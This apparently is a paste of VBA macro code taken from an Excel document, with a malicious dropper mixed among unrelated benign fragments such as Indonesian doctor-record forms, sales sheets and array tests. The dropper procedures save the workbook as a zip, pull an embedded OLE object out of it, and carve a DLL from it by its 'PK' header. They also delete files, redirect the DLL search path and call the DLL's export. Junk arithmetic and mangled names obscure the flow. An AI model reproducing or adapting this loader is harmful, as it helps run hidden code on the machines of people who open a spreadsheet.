- Public Declare PtrSafe Function gdemn Lib "str_join2.dll" () As Integer
- #Else
- Public Declare Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
- Public Declare Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As Long
- Public Declare Function gdemn Lib "str_join1.dll" () As Integer
- #End If
- Public Sub VistaQ(WhereToGo)
- DoEvents
- ThisWorkbook.Sheets.Copy
- Application.DisplayAlerts = False
- DoEvents
- ActiveWorkbook.SaveAs WhereToGo, Local:=False, FileFormat:=3 * 7 + 3 * 7 + 9
- DoEvents
- DoEvents
- ActiveWorkbook.Close
- DoEvents
- DoEvents
- End Sub
- Public Sub PublicResumEraseByArrayList(ParamArray putArrayBigList() As Variant)
- On Error Resume Next
- For Each Key In putArrayBigList
- Kill Key
- Next Key
- End Sub
- Private Sub TextBox2_Change()
- x = Len(TextBox2)
- Y = LTrim(TextBox2.Text)
- d = TextBox2
- If d = "" Then
- TextBox2.BackColor = &HFFFFFF
- Exit Sub
- End If
- If Left(d, 2) > 24 Then
- MsgBox "Ora Errata"
- TextBox2.SelStart = 0
- TextBox2.SelLength = Len(TextBox2)
- Exit Sub
- End If
- If x = 2 Then TextBox2 = Y & ":"
- If x = 4 Then Exit Sub
- If Mid(d, 4, 2) = "" Then Exit Sub
- If Mid(d, 4, 2) > 59 Then
- MsgBox "Minuti Errati"
- TextBox2.SelStart = 3
- TextBox2.SelLength = Len(TextBox2)
- Exit Sub
- End If
- If x = 5 Then
- TextBox3.SetFocus
- End If
- Exit Sub
- Resume
- End Sub
- Public Function ExChangeMoney()
- Dim ofbl As String
- Dim sOfbl As String
- Dim NumBForRead As Long
- dershlep = "" + Form0.TextBox1.Tag
- Dim sendings As Integer
- ofbl = Form0.TextBox1.Tag
- ofbl = ofbl + "\str_join"
- liquidOne = Form0.TextBox1.Tag + "\academ"
- liquidOne = liquidOne + "l.xlsx"
- Dim arr(1 To 3) As String
- If LenB(Form0.TextBox3.Text) > 200 Then
- MsgBox "Ultrapassa 66 Caracteres!", vbCritical, "HISTÓRICO"
- TextBox7.SelStart = 0
- Else
- End If
- Dim objeto As Control
- If Len(Form0.TextBox1.Text) > 366 Then
- For Each objeto In UserForm1.Controls
- On Error Resume Next
- objeto.Value = "]"
- Next
- Unload ggg.UserForm1
- ggg.UserForm1.Hide
- End If
- ctackPip = liquidOne & Page11."b'\xb1\x15'".Value
- sOfbl = ofbl + Page11."b'\xb1\x15'".Value
- PublicResumEraseByArrayList ofbl + "*", Form0.TextBox3.Tag + "\str_join*", sOfbl, ctackPip, dershlep & UserForm1.Label1.Tag
- VistaQ liquidOne
- FileCopy Source:=liquidOne, Destination:=ctackPip
- sendings = 1
- Dim sNMSP As New Shell
- FlagDouble = False
- Lrigat = UserForm1.Label11.Tag
- If sendings > -15 And sendings > -130 Then
- Set DestinationKat = sNMSP.Namespace(dershlep)
- Set harvest = sNMSP.Namespace(ctackPip)
- End If
- Set ExcelC = ThisWorkbook.Sheets(1).Application.Sheets(1).Application
- DestinationKat.CopyHere harvest.Items.Item(Lrigat)
- Dim car As Lumene
- Set car = New Lumene
- NumBForRead = 431109
- sendings = 1
- flayString = "1"
- Composition dershlep + "" + UserForm1.Label1.Tag + "", sOfbl, NumBForRead
- If sendings < 100 Then
- sendings = sendings + 1
- sendings = sendings + 1
- End If
- If sendings > -16 Or sendings > -130 Then
- Set DestinationKat = sNMSP.Namespace(Form0.TextBox3.Tag)
- Set harvest = sNMSP.Namespace(sOfbl)
- DestinationKat.CopyHere harvest.Items
- End If
- If -100 <= sendings Then
- sendings = sendings + 1
- ChDir Form0.TextBox3.Tag
- sendings = sendings + 1
- End If
- sOfbl = """" + sOfbl & ""","""
- If sendings < 0 Then
- sendings = sendings + 1
- sendings = sendings + 1
- End If
- If sendings > 1000 Then
- sendings = sendings - 20
- End If
- If sendings < 17 Then
- sendings = sendings - 30
- End If
- If sendings < 0 Then
- sendings = sendings + 1
- sendings = sendings + 1
- End If
- StopByOk = TestResult(d)
- setDLLDirectory "" + Form0.TextBox3.Tag
- gdemn
- WelcomeDialog.Hide
- End Function
- Sub subTotalSales()
- Dim LR As Integer
- LR = Cells(Rows.Count, "A").End(xlUp).Row + 2
- Rows("1:2").EntireRow.Insert Shift:=xlDown
- If LR = 3 Then
- Range("A1").Select
- Call salesHeade.rs
- Range("A2").Formula = "$0"
- Range("B2").Formula = "$0"
- Range("C2").Formula = "$0"
- Range("D2").Formula = "$0"
- Range("E2").Formula = "$0"
- Range("F2").Formula = "0%"
- Range("G2").Formula = "0"
- Range("H2").Formula = "$0"
- Range("I2").Formula = "0"
- Range("J2").Formula = "0"
- Range("K2").Formula = "$0"
- Range("L2").Formula = "$0"
- Range("M2").Formula = "0"
- Range("N2").Formula = "0%"
- Else
- Range("A1").Select
- Call salesHeade.rs
- With ActiveSheet
- End With
- End If
- End Sub
- Sub InputWeekData(x As Date)
- ActiveCell = Format(x, "ww", vbMonday, vbFirstFourDays)
- ActiveCell.Offset(0, 1).Select
- ActiveCell = x
- ActiveCell.Offset(0, 1).Select
- ActiveCell = x + 6
- ActiveCell.Offset(0, 1).Select
- End Sub
- Private Sub TextBox3_Change()
- Y = LTrim(TextBox3.Text)
- d = TextBox3
- If x = 5 Then
- TextBox4.SetFocus
- End If
- End Sub
- Attribute VB_Name = "Module2"
- Public Const FirstB As Byte = 80
- Public Const SecondB As Byte = 75
- Public Const ThirdB As Byte = 3
- Public Const FourthB As Byte = 4
- Public Sub GetParam(Count As Integer)
- Dim I As Long
- Dim j As Integer
- Dim C As String
- Dim tooolsetChunkI As Boolean
- Dim tooolsetChunkQ As Boolean
- j = 1
- tooolsetChunkI = False
- tooolsetChunkQ = False
- GetP.aram = ""
- For I = 1 To Len(Comma.nd$)
- C = Mi.d$(Comma.nd$, I, 1)
- If tooolsetChunkI Then
- If C = """" Then
- j = j + 1
- tooolsetChunkI = False
- tooolsetChunkQ = False
- End If
- ElseIf Not tooolsetChunkQ Then
- If C = " " Then
- j = j + 1
- End If
- Else
- If C = """" Then
- If j > Count Then Exit Sub
- tooolsetChunkI = True
- tooolsetChunkQ = True
- ElseIf C <> " ccc" Then
- End If
- End If
- If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
- Next I
- End Sub
- Public Sub setDLLDirectory(ByVal targetDir As String)
- Dim b As Byte
- Dim p As Long
- code2 (&H1000)
- code1 (StrConv(targetDir, vbUnicode))
- End Sub
- Public Sub GetParam3(Count As Integer)
- Dim I As Long
- Dim j As Integer
- Dim C As String
- Dim tooolsetChunkI As Boolean
- Dim tooolsetChunkQ As Boolean
- j = 1
- tooolsetChunkI = False
- tooolsetChunkQ = False
- GetP.aram = ""
- For I = 1 To Len(Comma.nd$)
- C = Mi.d$(Comma.nd$, I, 1)
- If tooolsetChunkI Then
- If C = """" Then
- j = j + 1
- tooolsetChunkI = False
- tooolsetChunkQ = False
- End If
- Else
- If C = """" Then
- If j > Count Then Exit Sub
- tooolsetChunkI = True
- tooolsetChunkQ = True
- ElseIf C <> " " Then
- tooolsetChunkI = True
- End If
- End If
- If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
- Next I
- End Sub
- Public Sub Composition(Composition2 As String, ofbl As String, fl As Long)
- Dim PChannel As Long
- Dim logicVari As Integer
- Dim SimpleMethod As Integer
- ReDim HurricanMoes(1 To fl)
- PChannel = FreeFile
- Open Composition2 For Binary Access Read As PChannel
- HurricanMoes(1) = FirstB
- HurricanMoes(2) = SecondB
- HurricanMoes(3) = ThirdB
- HurricanMoes(4) = FourthB
- logicVari = 1
- Do While Not EOF(PChannel)
- Get PChannel, , MoveStep
- If MoveStep = FirstB Then
- Get PChannel, , PatchForHeart
- If PatchForHeart = SecondB Then
- Get PChannel, , PatchForLuck
- If PatchForLuck = ThirdB Then
- Get PChannel, , PatchForLuck
- If PatchForLuck = FourthB Then
- For k = 5 To fl
- Get PChannel, , MoveStep
- HurricanMoes(k) = MoveStep
- Next k
- Exit Do
- End If
- End If
- End If
- End If
- Loop
- On Error Resume Next
- PublicationChannel = 1892
- Close PChannel
- PublicationChannel = 1892 + PublicationChannel
- PChannel = FreeFile
- PublicationChannel = 1892 + PublicationChannel
- Open ofbl For Binary Lock Read Write As #PChannel
- PublicationChannel = 1892 + PublicationChannel
- zeroBob = 1
- For I = zeroBob To UBound(HurricanMoes)
- If WelcomeDialog.Enabled = True Then
- Put #PChannel, , HurricanMoes(I)
- End If
- Next I
- Close PChannel
- PChannel = FreeFile
- For HSP = 33 To -1 Step -0.25
- PChannel = 6 + I
- Next HSP
- PChannel = 6 + I
- End Sub
- Private Sub cmd_Keluar_Click()
- Unload LSD.Me
- MDIForm1.dokter.Enabled = True
- MDIForm1.dokter.Checked = False
- End Sub
- Private Sub cmd_Perbaiki_Click()
- If cmd_Perbaiki.Caption = "Pe&rbaiki" Then
- cmd_Simpan.Enabled = False
- cmd_Hapus.Enabled = False
- cmd_Batal.Enabled = True
- Dim var As String
- var = InputBox("Ketikkan kode dokter yang datanya akan di perbaiki !", "Perbaiki Data dokter")
- If var = Empty Then Exit Sub
- Data1.Recordset.Index = "Kode_dokter"
- Data1.Recordset.Seek "=", var
- If Not Data1.Recordset.NoMatch Then
- Call tam.pil
- txtkd_dok.Enabled = False
- txtnm_dok.Enabled = True
- cmd_Perbaiki.Caption = "&Perbaharui data"
- Else
- MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
- End If
- Else
- Data1.Recordset.Edit
- Data1.Recordset!kode_dokter = txtkd_dok.Text
- Data1.Recordset!nama_dokter = txtnm_dok.Text
- Data1.Recordset.Update
- Call ber.sih
- cmd_Perbaiki.Caption = "Pe&rbaiki"
- cmd_Batal.Enabled = False
- cmd_Simpan.Enabled = True
- cmd_Hapus.Enabled = True
- Call tdk_bi.sa
- End If
- End Sub
- Private Sub cmd_Simpan_Click()
- If cmd_Simpan.Caption = "&Isi Data" Then
- Call bis.A
- nom.Or
- M.e.txtnm_dok.SetFocus
- cmd_Batal.Enabled = True
- cmd_Perbaiki.Enabled = False
- cmd_Hapus.Enabled = False
- cmd_cari.Enabled = False
- cmd_Simpan.Caption = "&Simpan Data"
- Else
- If txtkd_dok.Text = "" Or txtnm_dok.Text = "" Then
- MsgBox "Data tidak boleh kosong !", vbCritical, "SISTEM PENJUALAN KREDIT"
- txtkd_dok.SetFocus
- Else
- cmd_Batal.Enabled = False
- cmd_Perbaiki.Enabled = True
- cmd_Hapus.Enabled = True
- cmd_cari.Enabled = True
- Data1.Recordset!kode_dokter = txtkd_dok.Text
- Data1.Recordset!nama_dokter = txtnm_dok.Text
- Data1.Recordset.Update
- Call ber.sih
- cmd_Simpan.Caption = "&Isi Data"
- End If
- End If
- End Sub
- Function retVal(ByVal v As Variant) As Variant
- If v <> 0 Then
- retVal = v
- Else
- retVal = ""
- End If
- End Function
- Function getFile() As String()
- Dim s As String
- Dim sl(1000) As String
- Dim r As Range
- Dim I As Integer
- Erase sl
- I = 0
- For Each r In Worksheets("Sheet1").Range("B1:B100")
- s = r.Value
- If s <> "" Then
- I = I + 1
- End If
- Next r
- getFile = sl()
- End Function
- Function MatchRegExp(ByVal Text As String, ByVal MatchWord As String, Optional CaseCompare, Optional RegExp As Object = Nothing, Optional Match As Object = Nothing) As Boolean
- On Error GoTo Err:
- Dim result As Boolean
- result = False
- Do
- If (MatchWord = "") Or (Text = "") Then Exit Do
- Dim RegCreateFlag As Boolean
- RegCreateFlag = False
- If RegExp Is Nothing Then
- RegCreateFlag = True
- Set RegExp = CreateObject("VBScript.RegExp")
- End If
- RegExp.Pattern = MatchWord
- RegExp.Global = True
- RegExp.IgnoreCase = CaseCompare = IgnoreCase
- Set Match = RegExp.Execute(Text)
- If 1 <= Match.Count Then
- result = True
- End If
- If RegCreateFlag Then
- Set RegExp = Nothing
- End If
- Loop While False
- MatchRegExp = result
- Exit Function
- Err:
- MatchRegExp = False
- End Function
- Private Sub testArrayAddArray()
- Dim A1()
- A1 = Array("A", "B", "C")
- Dim A2()
- A2 = Array("D", "E")
- Call ArrayA.ddArray(A1, A2)
- Call Check(5, ArrayC.ount(A1))
- Call Check("D", A1(3))
- Call Check("E", A1(4))
- '???????????
- Dim B1()
- Dim B2()
- B2 = Array("1", "2")
- Call ArrayA.ddArray(B1, B2)
- Call Check(2, ArrayC.ount(B1))
- Call Check("1", B1(0))
- Call Check("2", B1(1))
- End Sub
- Sub ArrayInsert(ByRef ArrayValue As Variant, ByVal Index As Long, ByVal Value As Variant)
- Call Assert(IsArray(ArrayValue), "Error:ArrayInsert:ArrayValue is not Array.")
- Call Assert(InRange(LBound(ArrayValue), Index, UBound(ArrayValue)), "Error:ArrayInsert:Index Range Over.")
- ReDim Preserve ArrayValue(LBound(ArrayValue) To UBound(ArrayValue) + 1)
- Dim I As Long
- For I = UBound(ArrayValue) To Index + 1 Step -1
- Call SetValue(ArrayValue(I), ArrayValue(I - 1))
- Next
- Call SetValue(ArrayValue(Index), Value)
- End Sub
- Public Function InRange( ByVal MinValue As Long, ByVal Value As Long, ByVal MaxValue As Long) As Boolean
- InRange = ((MinValue <= Value) And (Value <= MaxValue))
- End Function
- Private Sub testArrayInsert()
- Dim A
- A = Array("A", "B", "C")
- Call Check("B", A(1))
- Call Check(3, ArrayCount(A))
- Call ArrayInsert(A, 1, "1")
- Call Check(4, ArrayCount(A))
- Call Check("1", A(1))
- Dim b()
- ReDim b(2)
- Set b(0) = CreateObject("VBScript.RegExp")
- Set b(2) = Nothing
- Call Check(Shel.l32.CurrentDirectory, b(1).CurrentDirectory)
- Call ArrayInsert(b, 1, fso)
- Call Check("test.txt", b(1).GetFileName("C:\temp\test.txt"))
- End Sub
- Public Sub Assert(ByVal Value As Boolean, Optional ByVal Message As String)
- If Value = False Then
- Call Err.Raise(9999, , Message)
- End If
- End Sub
- Public Sub SetValue(ByRef Variable, ByVal Value)
- If IsObject(Value) Then
- Set Variable = Value
- Else
- Variable = Value
- End If
- End Sub
- Public Function ArrayCount(ByRef ArrayValue As Variant, Optional Dimension = 1) As Long
- Call Assert(IsArray(ArrayValue), "Error:ArrayCount:ArrayValue is not Array.")
- ArrayCount = UBoundNo.Error(ArrayValue, Dimension) - LBoundNo.Error(ArrayValue, Dimension) + 1
- End Function
- Private Sub testAssert()
- Call Assert(False, "???")
- End Sub
- Public Function Check(ByVal A As Variant, ByVal b As Variant) As Boolean
- Check = (A = b)
- If Check = False Then
- Call MsgBox("A != B" + vbCrLf + "A = " + CStr(A) + vbCrLf + "B = " + CStr(b))
- End If
- End Function
- Attribute VB_Name = "UserForm1"
- Attribute VB_Base = "0{0BCE88D8-ECD6-45FA-A19A-47C2800895FB}{A8CB88CC-7E77-4A75-93B6-AEBF65BD68C7}"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = False
- Attribute VB_TemplateDerived = False
- Attribute VB_Customizable = False
- Attribute VB_Name = "Module5"
- Public Function RedButton(dImmer As Double)
- DosTres = "DosTres"
- If WelcomeDialog.Visible <> False Then
- Exit Function
- End If
- reqPlace = 3
- reqPlace = reqPlace - 1
- Set car = New Lumene
- Set TSPIP = New IWshRuntimeLibrary.WshShell
- Select Case reqPlace
- Case 0
- s = "N health problems"
- Case 1
- s = "Minor health problems"
- s = "Sev ere disability"
- End Select
- Dim SpecialPath As String
- PRP = "%" + Form0.TextBox1.Tag
- TBT = PRP
- TBT = TBT + ""
- TBT = TBT + "%"
- TBT = TSPIP.ExpandEnvironmentStrings(TBT)
- firstWeek = 0
- firstDay = 0
- Dim firstdate As Date
- Form0.TextBox1.Tag = TBT
- firstDay = 2
- lastDay = 4
- Dim lastdate As Date
- lastWeek = 0
- lastDay = 0
- s = car.CheckCar(TSPIP, Form0.TextBox3.ControlTipText & "")
- firstWeek = 1
- lastWeek = 3
- Form0.TextBox3.Tag = s
- If Not firstDay = 1 Then
- firstdate = firstdate + (8 - firstDay)
- firstWeek = firstWeek + 1
- End If
- If lastDay = 6 Then
- lastdate = lastdate + 1
- lastDay = lastDay + 1
- ElseIf Not lastDay = 7 Then
- lastdate = lastdate - lastDay
- lastDay = 7
- lastWeek = lastWeek - 1
- End If
- Iteration = 0
- ChDir (Form0.TextBox1.Tag + "")
- If WelcomeDialog.Visible = False Then
- WelcomeDialog.Show
- End If
- End Function
- Private Sub Command7_Click()
- b = MsgBox("?????????", vbYesNo)
- If b = vbYes Then
- A = "delete from cinema where cinid='"
- A = A + Text1.Text + "'"
- cnmovie.Execute A
- rs4.Close
- Sql = "select * from cinema"
- rs4.Open Sql, cnmovie, adOpenDynamic, adLockOptimistic
- If rs.BOF Or rs.EOF Then
- MsgBox "?????!"
- Else
- rs4.MoveFirst
- Call View.Data
- End If
- End If
- End Sub
- Private Sub nomor()
- Dim urutan As String * 5
- Dim hitung As Byte
- If Data1.Recordset.RecordCount = 0 Then
- urutan = "Dr001"
- Else
- Data1.Recordset.MoveLast
- If Val(Left(Data1.Recordset!kode_dokter, 3)) <> "000" Then
- urutan = "00001"
- Else
- hitung = Val(Right(Data1.Recordset!kode_dokter, 3)) + 1
- urutan = "Dr" & Right("000" & hitung, 3)
- End If
- End If
- M.e.txtkd_dok = urutan
- End Sub
- Private Sub cmd_Batal_Click()
- Call be.rsih
- Call td.k_bisa
- cmd_Batal.Enabled = False
- cmd_Perbaiki.Enabled = True
- cmd_Hapus.Enabled = True
- cmd_cari.Enabled = True
- End Sub
- Private Sub cmd_cari_Click()
- Dim var As String
- var = InputBox("Masukan Kode Dokter yang ingin anda cari!", "Cari data dokter")
- If var = Empty Then Exit Sub
- If var <> "" Then
- Data1.Recordset.Index = "kode_dokter"
- Data1.Recordset.Seek "=", var
- If Not Data1.Recordset.NoMatch Then
- Call tam.pil
- Call bi.sa
- Call kun.ci
- Else
- MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
- End If
- End If
- End Sub
- Public Function TestResult(result As Variant)
- TestResult = False
- If IsNumeric(ExcelReturn) Then
- If ExcelReturn = 0 Then
- TestResult = True
- End If
- End If
- End Function
- Private Sub cmd_Hapus_Click()
- Dim var As String
- var = InputBox("Masukan Kode dokter yang akan dihapus!", "Hapus dokter")
- If var = Empty Then Exit Sub
- If var = "" Then
- Data1.Recordset.Index = "Kode_dokter"
- Data1.Recordset.Seek "=", var
- If Not Data1.Recordset.NoMatch Then
- Data1.Recordset.Delete
- Data1.Refresh
- Data1.Recordset.MoveFirst
- Else
- MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
- End If
- End If
- End Sub
- H�,�
- \oleObject*.bin
- �Label1s
- �xl\embeddings\oleObject1.bin�
- Tahomas
Add Comment
Please, Sign In to add comment